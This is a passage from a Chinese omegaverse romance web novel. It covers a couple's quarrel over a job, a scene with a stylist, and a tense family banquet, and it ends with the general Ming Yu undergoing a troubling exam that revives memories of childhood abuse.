而明毓完全忽略了宋青佩的不自在,气恼地回了房间洗澡。 宋青佩叫醒了颂颂,给她收拾好,带着她下去吃饭。 两人刚坐下没多久,明毓就从楼梯上下来,一身的黑色烫金军服,衬的她高挑挺立,及膝的军靴显得更加腿长腰细。 一步一步慢悠悠地从楼梯下来,仿佛巡视自己领地的女王。 走到拐角处,她极其自然地伸了个懒腰,仿佛餍足的猫。 在两人对面坐下,明毓先是看了一眼宋青佩,然后问颂颂:“颂颂,昨晚睡得好吗?” “嗯,颂颂一觉睡到了妈妈叫我。可是” 说到这里颂颂突然停下,颇为苦恼地抓了抓小脑袋,满脸遗憾:“颂颂做了个梦,梦里妈妈和妈咪带我去幼儿园玩了,还没玩完就醒了,好可惜哦。” “颂颂这是想出去玩了?”明毓笑道。 颂颂猛点头,一脸渴望:“可以吗?” 这副可爱的模样,谁能拒绝得了。 明毓几乎脱口而出:“当然可以,就……”她在脑子里过了一遍自己的行程安排,发现根本挤不出时间,又不忍颂颂失望,只能用商量的口气道:“妈咪白天没时间,晚上出去玩好吗?” “好啊好啊!妈咪最好啦!” 颂颂开心的欢呼,彩虹屁吹个不停,情绪价值给满。 在女儿的彩虹屁下,明毓的心情好了不少,视线不由再次转向宋青佩,见她低头默默给颂颂分餐,似乎完全不准备接话的样子。 于是话里有话道:“颂颂,昨晚妈咪也做了个梦。” 颂颂很配合地问:“妈咪做了什么梦啊?” “妈咪记不清了,只记得……” 她故意拉长了音调,看向宋青佩,慢悠悠道:“你妈妈主动亲我了。” “哇嗷!” 颂颂发出赞叹声,天真地看向宋青佩,“妈妈,你是不是偷偷亲妈咪了啊?” 这一句话,简直瞬间戳中了明毓,不愧是她的女儿。 见两人一唱一和的,宋青佩并没有回答问题,而是直接用食物堵住了颂颂的嘴,“快吃饭,一会还要去上学。”说完又话里有话的补了一句,“食不言寝不语。” 莫名地,明毓觉得这话有点耳熟。 于是热络的话题很快被终结,饭桌上的气氛有些微妙。 颂颂坐在两人中间,一边吃着早餐,一边偷偷观察着妈妈和妈咪的表情。 她能感觉到两人之间的气氛有些不对劲,但是又不像生气,她不知道发生了什么,简直要好奇死了。 “妈咪,你怎么不吃早餐?”颂颂抬起头,天真地问。 “妈咪不饿,你吃吧。” 明毓目光锁定在宋青佩身上,心里暗自懊恼,差点把正事给忘了。她让宋青佩辞职的事,一直到现在也没有个结果,想到昨晚折腾半天目的却没达成,越发有种赔了夫人又折兵的懊恼感。 见宋青佩还在装傻,明显还有要继续去上班意思。 明毓直接试探道:“颂颂,待会妈咪送你去上学好不好?让妈妈在家休息。” 宋青佩夹菜的手一顿,抬眸看了她一眼,直接道:“我送就行,去公司更顺路。” 见她直接摊牌,明毓也不掩饰了,语气中是毫不掩饰的怒气:“我说了,你不能再去蓝海上班。” 宋青佩脸色有些难看。“明毓,我昨天也已经跟你说得很清楚了,这个工作对我很重要,我不可能放弃的。” “一个工作而已,就这么重要吗?”明毓难以理解,“你要是想出去工作我可以给你安排别的,但是蓝海你必须辞职。” 闻言,宋青佩被她如此强势的语气激怒了,怒道:“明毓,这个话题我不想再继续说下去了,我有自己的打算,请你尊重我的选择。” “宋青佩,你真是冥顽不灵。” 宋青佩忍不住反唇相讥:“冥顽不灵的人到底是谁?你非要那么强势地掌控别人吗?” 两人之间的火药味越来越浓。 颂颂吓得瞪大了眼睛,声音里带着一丝委屈:“妈妈,妈咪,你们不要吵架了,好不好?” 明毓和宋青佩同时愣了一下,同时沉默下来。 “颂颂,妈妈和妈咪没有吵架,只是在讨论一些事情。”宋青佩摸了摸颂颂的头,安抚道。 颂颂却摇了摇头,小声说:“可是你们刚才的样子好凶……妈咪,你怎么又变得坏脾气了,明明昨天你那么温柔,不会和妈妈吵架,还会陪我玩。” 一股烦躁袭上来,明毓的脸上的平静几乎无法维持。 她实在不能理解,为什么都更喜欢那个‘梦梦’? “军部还有事,我先走了。” 说完,她起身离开了餐厅,留下宋青佩和颂颂面面相觑。 颂颂小脸茫然,小声问:“妈妈,妈咪是不是生气了?” 宋青佩叹了口气,轻轻拍了拍颂颂的头:“没事的。你先吃早餐,妈妈送你去学校。” 颂颂点了点头,低头吃着早餐。 宋青佩想到昨晚的梦梦,和今天明毓的表现,仿佛两个人一般,她默默提醒自己,无论如何,一定要弄清楚‘梦梦’为什么会突然出现? 不能再这样沉沦下去了。 第33章 指尖划过腺体 军部办公室内。 明毓坐在宽大的办公桌后,眉头紧锁,脑海中不断回放着昨晚与宋青佩的争执,以及今早那场不欢而散的早餐。 慕容瑞雪的事如同一根刺扎在她的心头,让她无法安心。 “不能再这样下去了。” 明毓低声自语,按下通讯器,沉声道:“惜寒,来我办公室一趟。” 没过多久,宋惜寒推门而入,“明毓,你找我?” 明毓抬起头,目光锐利而冷静:“惜寒,我决定将蓝海科技纳入高级军校的人才招纳计划,你去安排一下,尽快与蓝海科技那边对接。” 宋惜寒一愣,“这样慕容瑞雪那边……会不会起疑心?” “她不会拒绝的。”明毓笃定道:“蓝海科技一直想进军部,这是个难得的机会。你只需要按计划行事,其他的我会处理。” 宋惜寒点头应下,明毓又补充道:“记住,别太刻意,不要让人察觉出异常。” “我明白。”宋惜寒郑重地点头,随后转身离开了办公室。 明毓靠在椅背上,长舒了一口气。 将慕容瑞雪放在自己的眼皮子底下,虽然不能彻底解决问题,但至少能让她有所顾忌。 她揉了揉太阳穴,感到一阵疲惫。就在这时,她的通讯器再次响起。 明毓低头一看,是奶奶打来的,她皱了皱眉,接通了电话。 “奶奶。”明毓的声音尽量保持平静。 “明毓啊,最近身体怎么样?” 明老夫人的声音温和,仿佛在为了上次两人之间的争执缓和关系。 她自然不好不敬,从善如流道:“我很好,您最近还好吗?” “我挺好的。”明老夫人却没有就此打住,带着试探继续道:“听说你最近精神不太好?是不是工作太累了?” 明毓的眉头皱得更紧了,精神不太好? 奶奶为何忽然有此一问? 思索间,她猛的想到昨晚自己以“梦梦”的状态回家,知道这件事的没几个人,肯定是苏管家将这一切告诉了奶奶。 她的心中顿时涌起一股怒火,但很快被她压了下去。 “可能是最近压力有点大,精神有些疲惫。”明毓尽量让自己的语气听起来平静,“不过没什么大问题,奶奶不用担心。” 明老夫人沉默了片刻,随即说道:“今晚回老宅吃饭吧,正好让宫博士给你检查一下,他最近刚从联邦科学院回来,技术比以前更精湛了。” 听到“宫博士”这个名字,明毓的声音冷了下来:“奶奶,我没事,不需要检查。” 明老夫人的语气却变得强硬起来:“明毓*,宫博士是这方面的专家,让他给你看看,我也放心。” 明毓的拳头紧紧握起,她知道奶奶的坚持背后意味着什么,她不好再三忤逆她,只能妥协。 “好,我晚上回去。” 挂断电话后,明毓的脸色阴沉得可怕。 她站起身,走到窗边,目光冰冷地望向远方。 宫博士的出现,让她感到不由想到了那段不想回忆的过去,她绝不会再让任何人操控她的生活。 “看来,有些事情必须尽快解决了。”明毓低声自语,眼中闪过一丝决然。 —— 夜幕降临。 明毓回到家中时,天色已晚。 别墅内灯火通明,却透着一股冷清的气息。 她刚踏入大厅,苏管家便迎了上来,“上将,您回来了。” 明毓的目光冷冷地扫过她,语气中带着一丝压抑的怒意:“苏管家,你是不是忘了自己的本分?” 苏管家的笑容微微一僵,声音中带着一丝惶恐:“上将,我不明白您的意思。” “不明白?”明毓的声音陡然提高,眼神锐利如刀,“我让你照顾这个家,不是让你把我的事情事无巨细地汇报给奶奶!你到底是谁的人?” 苏管家的脸色瞬间变得苍白,连忙解释道:“上将,老夫人只是关心您,她担心您的身体和精神状态,所以才让我多留意一些。我……我并没有恶意。” “关心我?”明毓冷笑一声,“苏管家,你是不是忘了,这个家现在是谁在做主?” 苏管家的额头上渗出了细密的汗珠。 她低下头,声音颤抖:“上将,我……我从来没有忘记过自己的职责。我只是……只是……” “苏管家,你太让我失望了。”明毓的声音冷得像冰,“从今天起,你不必留在这里了。” 苏管家眼中满是难以置信:“上将!我……我在明家工作了这么多年,一直忠心耿耿,您怎么能……” “忠心耿耿?”明毓打断了她的话,语气中带着一丝讥讽,“你的忠心是对奶奶,而不是对我。我不需要一个不忠于我的人留在身边。” 苏管家的脸色瞬间变得惨白,慌忙道:“上将,我……我以后一定只听从您的命令,绝不会再向老夫人透露任何消息!请您再给我一次机会!” 明毓冷冷地看着她,“机会我已经给过你了,是你自己没有珍惜。” 苏管家终于深切的感觉到了明毓的愤怒,赶紧表忠心: “我……我知道自己逾矩了!求您再给我一次机会,我发誓,以后绝不会再犯这样的错误!” 就在这时,大门被推开,宋青佩牵着颂颂的手走了进来。 颂颂一进门便看到了苏管家一脸惶恐,眼中闪过一丝疑惑:“妈咪,你在和苏奶奶生气吗?” 宋青佩也注意到了大厅内的气氛不对,她看了看明毓冷峻的脸色,又看了看一旁的苏管家,没有贸然开口,只是轻轻拍了拍颂颂的头,示意她不要多问。 苏管家看到宋青佩和颂颂,仿佛抓住了最后一根救命稻草,连忙道:“宋小姐,小小姐,请您帮我说说话!让上将再给我一次机会!” 宋青佩看向明毓,语气中带着一丝试探:“明毓,这是……?” 明毓直接道:“这事你不用管。” 宋青佩被她的态度噎了一下,心中有些不高兴,但她并没有表现出来,只是拉着颂颂的手道:“颂颂,我们先上楼吧。” 颂颂却站在原地,不肯走。 她看了看苏管家,又看了看明毓,小声道:“妈咪,苏奶奶是不是做错事了?你能不能原谅她?” 明毓听到颂颂的话,眉头微微皱起。 她低头看着颂颂天真无邪的脸,心中的怒火稍稍平息了一些,她不想让颂颂看到这些不愉快的场面,更不想让她因为自己的决定而感到难过。 沉默片刻后,她语气中带着一丝妥协:“颂颂,你真的希望苏奶奶留下来吗?” 颂颂点了点头,“妈咪,苏奶奶平时对我很好的,你能不能不要赶她走?” 明毓叹了口气,伸手摸了摸颂颂的头,语气中带着一丝无奈:“好,既然颂颂为她求情,那我就再给她一次机会。” 苏管家听到这句话,连忙道谢:“谢谢上将!谢谢小小姐!” 宋青佩见事情已经告一段落,便拉着颂颂的手,轻声说:“颂颂,我们上楼吧,让妈咪处理剩下的事情。” 颂颂乖巧地点了点头,跟着宋青佩上了楼。 明毓看着她们离去的背影,心中涌起一股复杂的情绪。 她知道,自己今天多少有些冲动,但苏管家的行为确实触碰到了她的底线。 苏管家站在一旁,低着头,不敢再说话。 明毓看了她一眼,语气中带着警告:“苏管家,这是你最后的机会。如果再让我发现你向奶奶透露我的事情,后果你应该清楚?” 苏管家忙点头,“请您放心,我以后一定只听从您的命令!” 见状,明毓没有再说什么,转身回了书房。 等宋青佩带着颂颂下楼准备吃饭时,苏管家已经将晚餐摆上了桌。 颂颂蹦蹦跳跳地跑到餐桌前,眼睛亮晶晶地看着桌上的菜肴,宋青佩微笑着跟在后面,正准备坐下,却听到明毓的声音从楼梯口传来。 “今晚不在家吃了,我们去湖心院。” 宋青佩愣了一下,抬头看向明毓,眼中闪过一丝疑惑。 湖心院?明家的家宴? 她下意识地认为,明家的家宴不会欢迎她的出现。 “颂颂,你今晚要乖乖听妈咪的话,知道吗?”宋青佩叮嘱道…… 颂颂眨了眨大眼睛,有些不解地看着宋青佩:“妈妈,你不和我们一起去吗?” 宋青佩笑了笑,摸了摸颂颂的头:“妈妈在家等你。” “可是……”颂颂还想说什么,却被明毓打断了。 “你也去。”明毓的声音从身后传来。 宋青佩愣了一下,转过身看向明毓,眼中满是诧异。 她没想到明毓会主动提出带她去老宅,尤其是之前对她的身份一直遮遮掩掩,显然并不想让人知道她的身份,怎么忽然改了主意? 张了张嘴,还没来得及询问,明毓已经走到了她面前。 她眼中闪过一丝复杂的情绪,似乎有些尴尬,又有些歉意,“你是颂颂的妈妈,没什么不可以去的。” 宋青佩一时语塞。 颂颂拉着她的手,连连摇晃,“妈妈,去嘛去嘛~” 想到让女儿面对陌生的环境和人,宋青佩终究还是有些心疼,最终还是点了点头:“好吧,妈妈跟你们一起去。” “好耶!”颂颂兴奋不已。 明毓见她答应,也松了一口气,转身对苏管家道:“联系一下澜星最顶级的造型师,让她现在过来。” 苏管家忙点头应下,转身去联系造型师。 宋青佩有些不解地看着明毓:“只是家宴而已,不用这么正式吧?” 明毓看了她一眼,语气中带着一丝淡淡的笑意,“明家的家宴,从来都不是简单的吃饭。” 想到明毓的背景,她也不好再说什么,只能默默接受了安排。 没过多久,造型师便赶到了别墅。 她是一位身材高挑、气质优雅的女性,名叫艾琳娜,是澜星最负盛名的造型师之一。 她一进门,便微笑着向明毓打招呼:“明上将,好久不见。” 明毓点了点头,“艾琳娜,麻烦你给她打理一下。” 艾琳娜笑了笑,目光在明毓和宋青佩之间扫过,眼中闪过一丝了然:“没问题,交给我吧。” 明毓没有再多说什么,直接带着艾琳娜上了楼。 宋青佩有些不知所措,她从未经历过这样的场合,只得跟着上了楼。 她坐在梳妆台前,整个人显得有些局促不安。 艾琳娜热情地为她挑选衣服、珠宝和发型,一次次让明毓提意见。 宋青佩被摆弄得有些麻木,心中只想赶紧结束这种折磨。 “这件怎么样?”艾琳娜拿着一件淡紫色的长裙,在宋青佩身上比划着。 宋青佩看了一眼镜子中的自己,觉得这件裙子太过华丽夸张,刚想拒绝,明毓却已经开口:“不错,就这件吧。” 宋青佩无奈,只能任由艾琳娜为她换上裙子。 裙子的剪裁十分合身,将她纤细的腰身勾勒得淋漓尽致,淡紫色的面料衬得她的肤色更加白皙,艾琳娜又为她戴上了一条精致的项链,整个人瞬间多了几分贵气。 “真不错。”艾琳娜赞叹道,眼中满是欣赏。 宋青佩看着镜子中的自己,有些别扭道:“这……是不是太夸张了?” 明毓看了她一眼,眼中闪过一丝惊艳,但很快被她掩饰过去。 她点了点头,语气中带着淡淡的赞许:“不错,就这件吧。” 闻言,宋青佩也不想继续折腾,默认了她的选择,终于结束了这场折磨。 做完宋青佩的,艾琳娜开始为明毓做造型。 明毓坐在梳妆台前,似乎早就习以为常,任由艾琳娜摆弄她的头发和妆容。 宋青佩站在一旁,有些惊讶的看着镜子中的明毓。 或许是军人的特质,明毓原本的气质比较冷肃,但经过艾琳娜的巧手,她的长发被盘起,露出修长的脖颈,整个人散发出一种女王的冷艳。 明毓察觉到了她的目光,嘴角微微勾起,“看什么呢?” 宋青佩猛地回过神来,脸上闪过一丝尴尬,“没有,只是……有些不习惯你现在的样子。” 明毓轻笑了一声,没有再多说什么,但眼神中却带着一丝得意。 对于自己的容貌,她还是有清晰认知的,只是平时不过度关注这些罢了,但若是可以借此吸引宋青佩的注意力,她不介意浪费一些时间。 而此时正帮她修饰颈部线条的艾琳娜,手突然顿在半空。 “明上将今天的遮瑕需要特别处理呢。”她促狭地笑着,指尖轻点她锁骨位置,镜中倒映出明毓雪肤上几处暧昧的咬痕,在冷白灯光下格外旖旎。 “青佩~”明毓忽然拉成了音调喊。 宋青佩闻声转头,正好看见明毓慵懒地斜倚椅背,修长手指抚过那处印记,眼尾挑起戏谑的弧度:“我好像忽然想起来了些什么。” 试衣镜中,映出宋青佩微红的脸。 她想起昨夜‘梦梦’哭着求她标记,情动时湿润的眼睫闪进了她的心里,忍不住有些失控的咬住了她的锁骨,一时有些心虚,不知该说些什么。 明毓直勾勾的看着她,“你不应该解释一下吗?” 宋青佩难得没底气的沉默了。 艾琳娜见状,识趣地笑了笑:“我去给颂颂做造型,两位慢慢聊。” 说完,她转身离开了房间。 房间里只剩下明毓和宋青佩两人,气氛顿时变得微妙起来。 明毓站起身,缓步走到宋青佩面前,微微俯身,带着冷香的气息拂过她的耳畔:“现在没有别人了,要不要解释下你昨晚到底都对我做了什么?” 微凉的指尖划过腺体,激起两人同时的战栗。 宋青佩转身时,撞进一片潋滟眸光里。 明毓军装领口微敞,那些痕迹像雪地里绽放的红梅,分明是无声的诱捕。 她张了张嘴,正想与明毓坦诚,好好说说关于‘梦梦’的事。 门外,突然传来颂颂的笑声。 明毓眼中满是被打断的遗憾,后退半步整理衣领,方才的魅惑已换成正经的冷肃,唯有唇角噙着的轻笑未来得及完全收回。 门猛地被推开,颂颂穿着一件粉色的公主裙跑进来,头上戴着一顶小巧的皇冠,像个小公主一样可爱。 她跑到宋青佩和明毓面前,兴奋地转了个圈:“妈妈,妈咪,我好看吗?” 宋青佩笑着夸道:“好看,颂颂最漂亮了。” 明毓也难得露出了一丝温柔的笑意,伸手摸了摸颂颂的头:“颂颂是这世上最漂亮可爱的小公主。” 被夸得颂颂有些不好意思,小脸红红的。 “走吧,该出发了。” 一家人坐上车,前往明家老宅。 车内的气氛有些沉默,宋青佩心中有些不安。 “明毓……”宋青佩轻声开口,语气中带着一丝试探,“今晚的家宴,我需要注意什么吗?” 明毓语气中带着淡淡的安抚:“不用紧张,跟着我就好。” 宋青佩点了点头,心中稍安。 车子缓缓驶入明家老宅的大门,宋青佩透过车窗,看着那座宏伟的建筑,心中不由得有些震撼。 她知道,今晚的家宴怕是不会那么简单。 第34章 明毓,放我出去! 明家一向讲究排场,偌大的餐厅内,仿古式宫灯洒下柔和的光线,长桌上摆满了精致的餐具和鲜花,空气中弥漫着淡淡的檀香。 明老夫人坐在主位上,神色淡然,但眉宇间隐隐透着一丝不悦。 她的左手边坐着儿子明远泽和儿媳姚倩柔,右手边则是女儿明远黛和外孙女明芮。几人正低声交谈,气氛看似和谐,实则暗流涌动。 姚倩柔端起茶杯,轻轻抿了一口,随即放下,语气中带着几分不满:“明毓这孩子,真是越来越不懂规矩了。家宴这么重要的事,居然让我们这么多人等她一个。” 明远泽皱眉道:“她工作忙,可能是路上耽搁了。” “工作忙?”姚倩柔冷笑一声,“再忙也不能不把长辈放在眼里吧?之前她不声不响地领回家一个孩子,我不过说了她两句,她倒好,直接给我甩脸色看。现在好了,这么久不来连个招呼都不打,真是翅膀硬了。” 明远泽叹了口气,“行了行了,待会儿好好说说她的,你别生气了。” 明老夫人听到两人的对话,不满道:“你俩有什么资格说明毓?做父母的天天闹得家里鸡飞狗跳,还想管好女儿?” 明远泽被母亲当众训斥,脸上有些挂不住,低声辩解道:“妈,那都是过去的事了……” “过去的事?”明老夫人冷哼一声,“要不是你当年在外面拈花惹草的,能有以后这么多事?明毓的事你们之前谁操过心,现在倒好,你们一个个地倒是学会拿长辈的架子了。” 姚倩柔听到这话,脸色顿时变得难看。 她咬了咬唇,想要反驳,却被明远泽一把拉住,示意她不要火上浇油了。 一旁的明远黛见状,赶紧打圆场:“妈,您别生气了。明毓一向有分寸,这次带那个女人回来,可能是有她的考虑。” 明老夫人怒气未消,“我看她就是被那个女人迷了心智,真是报应啊!” 姚倩柔听到这话,再也忍不住了,猛地站起身:“妈,您这话是什么意思?” “你自己心里清楚。”明老夫人冷冷地看了她一眼:“当年要不是你耍手段,怀上了孩子,明家也不会闹得那么难看。现在明毓也碰上这么个女人,手段跟你如出一辙,我倒要看看你还能说什么。” 姚倩柔气得浑身发抖,正要发作。 明远泽赶紧拉住她,低声劝道:“倩柔,别说了,妈年纪大了,你别惹她生气。” 见姚倩柔不再说话,明老夫人冷哼一声,转头对明远黛道:“远黛,你也是,明毓现在正是升任元帅的关键时刻,怎么能让一个来路不明的女人影响她的前途?你也不帮忙劝劝她?” 明远黛无奈地叹了口气:“妈,明毓的性格您又不是不知道,她决定的事,谁能劝得动?” 明老夫人皱了皱眉,目光最后落在一直沉默不语的明芮身上:“明芮,你和明毓关系好,待会儿她来了,你好好劝劝她。” 明芮正低头吃着水果,突然被点名,顿时有些尴尬。 她抬起头,干笑两声:“奶奶,表姐的事……我也不好插手啊。” 明老夫人瞪了她一眼:“你还没说呢,怎么就知道不能劝了?” 明芮被问得哑口无言,只好点头应下:“好,我待会儿试试。” 说完,她偷偷拿出手机,给明毓发了条消息:“表姐,今晚是鸿门宴啊,你自求多福吧。” 此时,明毓正带着宋青佩和颂颂赶往湖心院。 她看到明芮的消息,眉头微微皱起,但很快恢复了平静。 宋青佩察觉到她的异样,轻声问:“怎么了?” 明毓摇了摇头,语气平静:“没事,待会有些人可能会说些不中听的话,你别放在心上。” 宋青佩点了点头,再次确定,这次明家的家宴绝不会那么简单。 车子缓缓驶入湖心院,明毓牵着颂颂的手,带着宋青佩走进了餐厅。 一进门,所有人的目光都集中在了她们身上。 明老夫人看到明毓,脸上的不悦稍稍缓和了一些,但当她看到宋青佩时,眉头又皱了起来。姚倩柔和明远泽一脸复杂,明远黛和明芮则是带着几分好奇和审视。 明毓走过去,一一打过招呼,然后将宋青佩介绍给了众人。 宋青佩牵着颂颂的手,客气地跟众人问好。 一瞬间,所有人的视线都落在了明老夫人身上,似乎都在等着她表态。 明老夫人冷淡地看了一眼宋青佩,并没有说话,而是将目光落在颂颂身上,这才露出一丝笑意:“颂颂,来,到曾祖母这里来。” 颂颂有些怯生生地看了明毓一眼,见她点头,才迈着小步子走到明老夫人身边。 明老夫人摸了摸她的头,语气慈爱:“颂颂真乖,来,坐曾祖母旁边。” 她对宋青佩的冷待,和对颂颂的热络形成了鲜明的对比,显然是在向宋青佩表态,别以为明家接纳了颂颂,就会接纳她,让她知难而退。 好在宋青佩原本就没想过攀附明家,怎么对她无所谓,只要对她女儿好就行了,此刻见到明老夫人的反应,见她对颂颂挺好,反而松了一口气。 “青佩,先坐吧。” 明毓带着宋青佩坐下,餐厅内的气氛顿时变得微妙起来。 姚倩柔率先开口,语气中带着几分讥讽:“明毓,这位是?” 明毓淡淡地看了她一眼,语气平静:“这是宋青佩,颂颂的妈妈。” 姚倩柔冷笑一声:“哦,原来是宋小姐。不知道宋小姐是哪里人?家里是做什么的?” 宋青佩被问得有些尴尬。 正犹豫该怎么说,明毓却抢先开口:“妈,青佩是我的客人,你不用问这么多。” 姚倩柔被明毓的态度激怒,语气变得尖锐:“什么客人?这是家宴,你怎么能随便带个来路不明的女人回家?” 明毓的脸色瞬间冷了下来:“妈,我的事不用您操心。” 明远泽见气氛不对,赶紧打圆场:“明毓,你妈也是为你好。你现在正是关键时期,可不能因为一些小事影响前途。” 对于这些冠冕堂皇的话,明毓不耐烦地皱起眉心,转头看向奶奶,她知道,如果没有她的授意,如今的明家是没有人敢这么跟她说话的。 可明老夫人坐在餐桌的主位上,只是淡淡地瞥了一眼,但并没有阻止。 自以为得到明老夫人认同的姚倩柔,更加咄咄逼人道:“明毓,我是你妈,我们都是为了你好。你别忘了自己的身份!你是明家的继承人,怎么能随便带这种不三不四的人回家?” “不三不四?”明毓语气中带着一丝嘲讽,“妈,您是不是忘了,当年您是怎么进的明家?您和父亲的事情,难道就比我们高尚?” 被戳中痛处,姚倩柔的脸色瞬间变得苍白。 她猛地站起身,手指颤抖地指着明毓:“你……你怎么敢这么跟我说话!” 明远泽也皱起了眉头,语气严厉:“明毓,注意你的言辞!你妈妈是为了你好,你怎么能这么顶撞她?” 仿佛听到了什么笑话般,明毓冷冷地看向他,一言不发。 被下了面子的明远泽的脸色越发难看,可惜,如今的明毓早就不是他可以轻易拿捏的,最终也只是冷哼一声,没有再说话。 餐桌上的气氛瞬间变得剑拔弩张。 明远黛见状,赶紧站起身再次打圆场:“好了好了,大家都少说两句吧。今天是家宴,别闹得不愉快,赶紧吃饭吧。” 明芮坐在一旁,忍不住偷偷冲明毓举了个大拇指,脸上带着一丝戏谑的笑意。 明毓瞥了她一眼,没有理会,只是看向明老夫人。 而明老夫人看清明毓对宋青佩维护的态度,更加不悦道:“明毓,你带宋小姐回来,我们也没意见。但你要清楚自己的身份,别让外人看了笑话。” 面对奶奶,明毓语气缓和了一些,“我明白。” 说到这一步,明老夫人只能发话,“好了,吃饭吧。” 姚倩柔见明老夫人松口,心中不满,正要再说什么。 明远泽赶紧拉住她,低声劝道:“别说了,我们再说什么也没用。” 姚倩柔咬了咬牙,也不敢再自讨没趣,悻悻地开始夹菜。 从头到尾没说话的宋青佩,不由震惊的偷偷瞥了一眼明毓,心底忽然有了种莫名的平衡感。原来明毓不只是跟她说话难听,而是平等地创死所有人。 察觉到宋青佩的视线,明毓转头看她,“怎么了?” 宋青佩摇了摇头,默默吃饭。 明家家宴,在尴尬的气氛中进行着。 餐桌上,明毓的态度让众人不敢再对宋青佩多问什么,所有的注意力都集中在了颂颂身上。作为明家默认的下任继承人,颂颂成了缓和气氛的润滑剂。 她乖巧地坐着,偶尔回应几句,显得格外懂事。 饭后,明老夫人见气氛稍缓,便借口有事要与明毓商议,将她叫离了餐厅。 明毓离开后,姚倩柔立刻抓住了机会,开始对宋青佩发难,说话十分难听。 “宋小姐,你是不是觉得只要攀上明毓,就能飞上枝头变凤凰了?” 宋青佩微微一笑,尽量保持礼貌:“姚阿姨,我想您误会了。我和明毓之间的事情,并不是您想的那样。” “误会?”姚倩柔的声音陡然提高,“你这种不三不四的女人,接近明毓不就是图她的身份和地位吗?我告诉你,明家不是你这种人能高攀得起的!” 见她如此咄咄逼人,宋青佩也不由冷声道:“姚女士,我尊重您是明毓的母亲,但请您也尊重我,不要说话如此难听。” 姚倩柔猛地站起身,指着宋青佩的鼻子骂道:“你算什么东西!也敢这么跟我说话!明毓是我女儿,我是绝对不会允许你这样的女人留在她身边的。” 一直在默默吃饭的颂颂,见到有人欺负妈妈。 立刻抬起头,气鼓鼓地瞪着姚倩柔:“不准你欺负我妈妈!你这个坏女人!” 姚倩柔被颂颂的话气得脸色铁青,口不择言:“你这没教养的小东西,我可是你奶奶!今天非得好好教训你不可!” 宋青佩见状,立刻将颂颂护在身后:“姚女士,请您自重。颂颂是我的女儿,你没有资格教训她。” 姚倩柔正要发作,明远黛赶紧站起身拦住她。 “好了好了,都是一家人,别闹得这么难堪。嫂子,你也少说两句,孩子还小,别吓着她。” 明芮也赶紧走过来,拉着颂颂的手,笑眯眯地说:“颂颂,小姨带你去花园玩好不好?那里有好多漂亮的花,还有小蝴蝶呢。” 颂颂看了看宋青佩,见她点头,才勉强答应:“好吧。” 明芮带着颂颂和宋青佩离开了餐厅,花园里的气氛顿时轻松了许多。 颂颂很快被花园里的花草吸引,开心地跑来跑去。 明芮看着她的背影,笑着对宋青佩说:“颂颂真是个可爱的孩子。” 宋青佩点了点头,感激地看着明芮:“谢谢你刚才帮忙解围。” 明芮摆了摆手,不以为意地说:“你别放在心上,姚倩柔就是个上不了台面的泼妇,她的话你别当真。” 宋青佩有些疑惑:“她毕竟是明毓的母亲,怎么会这样?” 明芮叹了口气,低声解释道:“明家的家庭环境很复杂。明远泽,也就是明毓的父亲,年轻时风流成性,姚倩柔当年是小三上位,靠着手段才嫁进了明家。她因为自己身份地位,就一直PUA表姐要争气,给她长脸。我还听外婆说,当年她出去赌博,将六岁的表姐一个人留在家里,差点被烧死。” 宋青佩听得心惊肉跳,没想到明毓竟然还有这样的过往。 “其实表姐蛮惨的,从小背负了那么多。”明芮说着,不由看上宋青佩道:“不过你放心,表姐虽然看上去冷冰冰的,但是人很好的。当年我妈妈为了那个男人和明家断绝了关系,后来才发现所托非人不得不离婚,我外婆和舅舅都劝我妈妈放弃我,更不肯让我改姓明,是表姐她去跟外婆求情才答应的。” “表姐真的很好,你跟表姐在一起,她一定会好好对你的。” “不不不,你误会了。”宋青佩慌忙解释道:“我们早就不在一起了,现在只是……一起照顾颂颂而已。” “啊?”明芮惊了。 没在一起就这么护着,表姐这一次是真栽了啊! —— 另一边,明老夫人以关心明毓的身体状况为由,将她带去了宫博士的实验室。 明毓一听到要去宫博士那里,眉头立刻皱了起来,脸上满是抗拒。 她站在实验室门口,脚步迟疑,仿佛那扇门后隐藏着无数她不愿面对的回忆。 “奶奶,我真的不需要再做什么检查了。” 明老夫人却不为所动,语气中带着不容置疑的威严:“明毓,你是明家的继承人,你的身体和精神状态关系到整个家族的命运。宫博士是这方面的专家,你必须接受检查。” 明毓的嘴唇微微动了动,但奶奶的决定从来不容反驳,尤其是在涉及明家未来的问题上,最终她只能沉默地点了点头。 走进实验室,宫博士已经在那里等候多时。 她穿着一身白色的实验服,带着的口罩遮住了大半张脸,只漏出银边眼镜后闪着冷光的双眸。 看到明毓进来,语气中带着一丝熟稔:“明上将,我们又见面了。” 明毓的目光在宫博士的脸上停留了一瞬,随即移开,仿佛多看一眼都会让她感到不适。 她没有回应宫博士的问候,只是冷冷地站在那里,任由实验室的助手将各种仪器连接到她的身上。 仪器启动的那一刻,明毓的身体微微抖了一下。 她的脑海中瞬间涌入了无数她不愿想起的记忆——那些痛苦的、压抑的、几乎让她崩溃的画面。 她仿佛回到了小时候,因为精神力天生不如Alpha,奶奶为了让她变得强大,找到了这位宫博士训练她,不惜一切代价,让她接受了无数残酷的训练。 她记得那些冰冷的仪器连接她的身体,无数的电流穿过她的身体,带来一阵阵剧烈的疼痛。她记得自己无数次哭喊着求饶,但宫博士却总是冷眼旁观,甚至在她最脆弱的时候,冷冷地重复着那些话:“废物,弱者是不配活着的……” 那些话语像一把锋利的刀,一次次刺入她的心脏,让她无法呼吸。 她曾经以为自己已经忘记了那些痛苦,可如今,当仪器再次连接到她的身上时,那些记忆却如潮水般涌来,几乎将她淹没。 明毓的呼吸变得急促,额头上渗出了细密的汗珠,指节因用力而发白。 宫博士站在一旁,静静地看着她的反应,脸上依旧带着那抹淡淡的微笑,此刻看上去残酷至极。 “明上将,放松一点,这只是例行检查。” 明毓的嘴唇微微动了动,意识逐渐模糊,仿佛被拉入了一个深不见底的梦境。 在梦境中,宫博士的声音再次响起:“告诉我,现在对你最重要的是什么?” 明毓的眉头皱起,她的脑海中浮现出宋青佩和女儿的身影。 她的心中涌起一股复杂的情绪,既有温暖,又有一种说不出的矛盾和抗拒。 “我……我不知道。”她的的声音在梦境中显得格外虚弱。 宫博士的声音再次响起,带着一**导:“你真的不知道吗?还是你不敢承认?告诉我,你现在最想要的到底是什么?” 明毓的身体颤抖着,她的脑海中浮现出失忆时的那段时光。 那时的她,没有家族的束缚,没有那些沉重的责任,只有宋青佩和颂颂的陪伴。那段时光,是她人生中最轻松、最自由的时刻。 “我……我想有一个家……” 